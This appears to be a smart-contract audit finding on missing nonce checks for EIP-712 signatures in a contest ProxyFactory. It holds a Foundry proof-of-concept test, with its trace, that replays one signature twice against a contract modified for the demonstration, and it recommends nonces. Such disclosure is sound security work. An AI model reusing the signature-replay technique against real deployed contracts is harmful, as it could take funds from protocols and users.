The protocol implements the EIP-712 standard to prevent signature replay attacks. However there are no checks to determine if the signature has been used before. This could be exploitable in future versions of the protocol if additional functionality is added to the implementation contract.
This only applies to signatures on the same network as EIP-712 includes the chainId in the _buildDomainSeparator function to prevent cross-network exploits.
In the Distributor contract the deployProxyAndDistributeBySignature function takes a signature as input to create a new proxy and distribute the funds accordingly.
The protocol in its current form is actually safe as deployProxyAndDistributeBySignature creates a new proxy address. Reusing the same signature will attempt to create the proxy at the same address resulting in a revert, as the address already exists.
A signature can be replayed numerous times resulting in potential loss of funds to the protocol and users.
For the purpose of demonstration the deployProxyAndDistributeBySignature increments the signature count
contract SignatureTest is StdCheats, HelperContract {
address proxyAddress;
bytes32 salt;
function setUp() public {
if (block.chainid == 31337) {
vm.deal(factoryAdmin, STARTING_USER_BALANCE);
vm.deal(sponsor, SMALL_STARTING_USER_BALANCE);
vm.deal(organizer, SMALL_STARTING_USER_BALANCE);
vm.deal(user1, SMALL_STARTING_USER_BALANCE);
vm.startPrank(tokenMinter);
MockERC20(jpycv2Address).mint(sponsor, 300_000 ether);
MockERC20(jpycv2Address).mint(organizer, 300_000 ether);
vm.stopPrank();
}
vm.label(organizer, "organizer");
vm.label(sponsor, "sponsor");
vm.label(user1, "user1");
}
function createData() public view returns (bytes memory data) {
address[] memory tokens_ = new address[](1);
tokens_[0] = jpycv2Address;
address[] memory winners = new address[](1);
winners[0] = user1;
uint256[] memory percentages_ = new uint256[](1);
percentages_[0] = 9500;
data = abi.encodeWithSelector(Distributor.withdrawTokens.selector, jpycv2Address, user1);
}
modifier setUpContestForJasonAndSentJpycv2Token(address _organizer) {
vm.startPrank(factoryAdmin);
bytes32 randomId = keccak256(abi.encode("Jason", "001"));
proxyFactory.setContest(_organizer, randomId, block.timestamp + 8 days, address(distributor));
vm.stopPrank();
bytes32 salt = keccak256(abi.encode(_organizer, randomId, address(distributor)));
address proxyAddress = proxyFactory.getProxyAddress(salt, address(distributor));
vm.startPrank(sponsor);
MockERC20(jpycv2Address).transfer(proxyAddress, 10000 ether);
vm.stopPrank();
assertEq(MockERC20(jpycv2Address).balanceOf(proxyAddress), 10000 ether);
_;
}
function createSignatureByASigner(uint256 privateK) public view returns (bytes32, bytes memory, bytes memory) {
bytes32 domainSeparatorV4 = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes("ProxyFactory")),
keccak256(bytes("1")),
block.chainid,
address(proxyFactory)
)
);
bytes32 randomId_ = keccak256(abi.encode("Jason", "001"));
bytes memory sendingData = createData();
bytes32 data = keccak256(abi.encode(randomId_, sendingData));
bytes32 digest = ECDSA.toTypedDataHash(domainSeparatorV4, data);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(privateK, digest);
bytes memory signature = abi.encodePacked(r, s, v);
return (digest, sendingData, signature);
}
function testAuditIfAllConditionsMetThenSucceeds() public setUpContestForJasonAndSentJpycv2Token(TEST_SIGNER) {
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 0 ether);
(bytes32 digest, bytes memory sendingData, bytes memory signature) = createSignatureByASigner(TEST_SIGNER_KEY);
assertEq(ECDSA.recover(digest, signature), TEST_SIGNER);
bytes32 randomId = keccak256(abi.encode("Jason", "001"));
vm.warp(8.01 days);
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, randomId, address(distributor), signature, sendingData
);
assertEq(proxyFactory.signatureCount(), 1);
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, randomId, address(distributor), signature, sendingData
);
assertEq(proxyFactory.signatureCount(), 2);
}
}
├─ [28477] ProxyFactory::deployProxyAndDistributeBySignature(0x70997970C51812dc3A010C7d01b50e0d17dc79C8, 0xad40762e8c031b7ef93b899573e7257f7221bc68688c4c73bbfb58ce9c2e102d, Distributor: [0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0], 0xb05154aca6718ce1d0b62e0e74510783edefa2414098745d2d5a5885f6069ba71e0f56959d9a09af4829435666c91c8471d1f065e4fb782043539ce6a7b7bb7e1c, 0xa522ad2500000000000000000000000090193c961a926261b756d1e5bb255e67ff9498a1000000000000000000000000000000000000000000000000000000000000000e)
│ ├─ [3000] PRECOMPILE::ecrecover(0x17fb9fa263c03fedcbdf788ade230cdf2b814e7c87fce20a95e1e84c9c2c9d81, 28, 79750760364234442951185986804986539181243427277563769123971780682324023614375 [7.975e76], 13596485747284942090199456907236871085947436427723157321481595415290317355902 [1.359e76]) [staticcall]
│ │ └─ ← 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
│ └─ ← 0x0000000000000000000000000000000000000000
├─ [361] ProxyFactory::signatureCount() [staticcall]
│ └─ ← 1
├─ [6577] ProxyFactory::deployProxyAndDistributeBySignature(0x70997970C51812dc3A010C7d01b50e0d17dc79C8, 0xad40762e8c031b7ef93b899573e7257f7221bc68688c4c73bbfb58ce9c2e102d, Distributor: [0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0], 0xb05154aca6718ce1d0b62e0e74510783edefa2414098745d2d5a5885f6069ba71e0f56959d9a09af4829435666c91c8471d1f065e4fb782043539ce6a7b7bb7e1c, 0xa522ad2500000000000000000000000090193c961a926261b756d1e5bb255e67ff9498a1000000000000000000000000000000000000000000000000000000000000000e)
│ ├─ [3000] PRECOMPILE::ecrecover(0x17fb9fa263c03fedcbdf788ade230cdf2b814e7c87fce20a95e1e84c9c2c9d81, 28, 79750760364234442951185986804986539181243427277563769123971780682324023614375 [7.975e76], 13596485747284942090199456907236871085947436427723157321481595415290317355902 [1.359e76]) [staticcall]
│ │ └─ ← 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
│ └─ ← 0x0000000000000000000000000000000000000000
├─ [361] ProxyFactory::signatureCount() [staticcall]
│ └─ ← 2
└─ ← ()
Manual review, Foundry tests.
For upgraded versions of the protocol implement a nonce feature when generating EIP-712 signatures to ensure that the signature hasn’t been previously used.